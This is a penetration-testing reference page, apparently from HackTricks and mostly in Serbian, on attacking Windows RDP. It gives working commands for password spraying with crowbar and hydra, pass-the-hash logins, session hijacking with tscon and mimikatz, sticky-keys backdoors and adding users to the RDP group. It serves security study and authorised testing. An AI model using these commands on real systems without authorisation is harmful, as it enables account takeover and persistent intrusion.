hacktricks/network-services-pentesting/pentesting-rdp.md

9.6 KiB

3389 - Pentesting RDP

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku

Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem. Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Osnovne informacije

Razvijen od strane Microsoft-a, Remote Desktop Protocol (RDP) je dizajniran da omogući grafičku interfejs vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi RDP klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi RDP serverski softver. Ova postavka omogućava neometano upravljanje i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na lokalni uređaj korisnika.

Podrazumevani port: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeration

Automatic

{% code overflow="wrap" %}

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

{% endcode %}

Proverava dostupnu enkripciju i DoS ranjivost (bez izazivanja DoS na uslugu) i dobija NTLM Windows informacije (verzije).

Brute force

Budite oprezni, mogli biste zaključati naloge

Password Spraying

Budite oprezni, mogli biste zaključati naloge

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Povežite se sa poznatim akreditivima/hash-om

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Proverite poznate akreditive protiv RDP usluga

rdp_check.py iz impacket-a vam omogućava da proverite da li su neki akreditivi validni za RDP uslugu:

rdp_check <domain>/<name>:<password>@<IP>

Dobijte perspektivu hakera na vaše veb aplikacije, mrežu i oblak

Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem. Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Napadi

Krađa sesija

Sa SYSTEM privilegijama možete pristupiti bilo kojoj otvorenoj RDP sesiji bilo kog korisnika bez potrebe da znate lozinku vlasnika.

Dobijte otvorene sesije:

query user

Pristup odabranoj sesiji

tscon <ID> /dest:<SESSIONNAME>

Sada ćete biti unutar odabrane RDP sesije i moraćete da se pretvarate da ste korisnik koristeći samo Windows alate i funkcije.

Važno: Kada pristupite aktivnim RDP sesijama, izbacujete korisnika koji je koristio tu sesiju.

Možete dobiti lozinke iz procesa tako što ćete ga iskopirati, ali ova metoda je mnogo brža i omogućava vam da interagujete sa virtuelnim radnim površinama korisnika (lozinke u notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...)

Mimikatz

Takođe možete koristiti mimikatz za ovo:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Kombinovanjem ove tehnike sa stickykeys ili utilman, moći ćete da pristupite administrativnom CMD-u i bilo kojoj RDP sesiji u bilo kojem trenutku.

Možete pretraživati RDP-ove koji su već backdoor-ovani jednom od ovih tehnika sa: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Ako se neko iz druge domene ili sa boljim privilegijama prijavi putem RDP-a na PC gde ste vi Admin, možete ubaciti svoj beacon u njegov RDP sesijski proces i delovati kao on:

{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

Automatic Tools

AutoRDPwn je post-exploatacioni okvir kreiran u Powershell-u, dizajniran prvenstveno za automatizaciju Shadow napada na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da pregleda desktop svoje žrtve bez njenog pristanka, pa čak i da njime upravlja na zahtev, koristeći alate koji su izvorni za sam operativni sistem.

  • EvilRDP
  • Kontrola miša i tastature na automatizovan način iz komandne linije
  • Kontrola međuspremnika na automatizovan način iz komandne linije
  • Pokretanje SOCKS proxy-a sa klijenta koji usmerava mrežnu komunikaciju ka meti putem RDP-a
  • Izvršavanje proizvoljnih SHELL i PowerShell komandi na meti bez učitavanja fajlova
  • Učitavanje i preuzimanje fajlova sa/na metu čak i kada su prenosi fajlova onemogućeni na meti

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Dobijte perspektivu hakera na vaše veb aplikacije, mrežu i oblak

Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem. Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}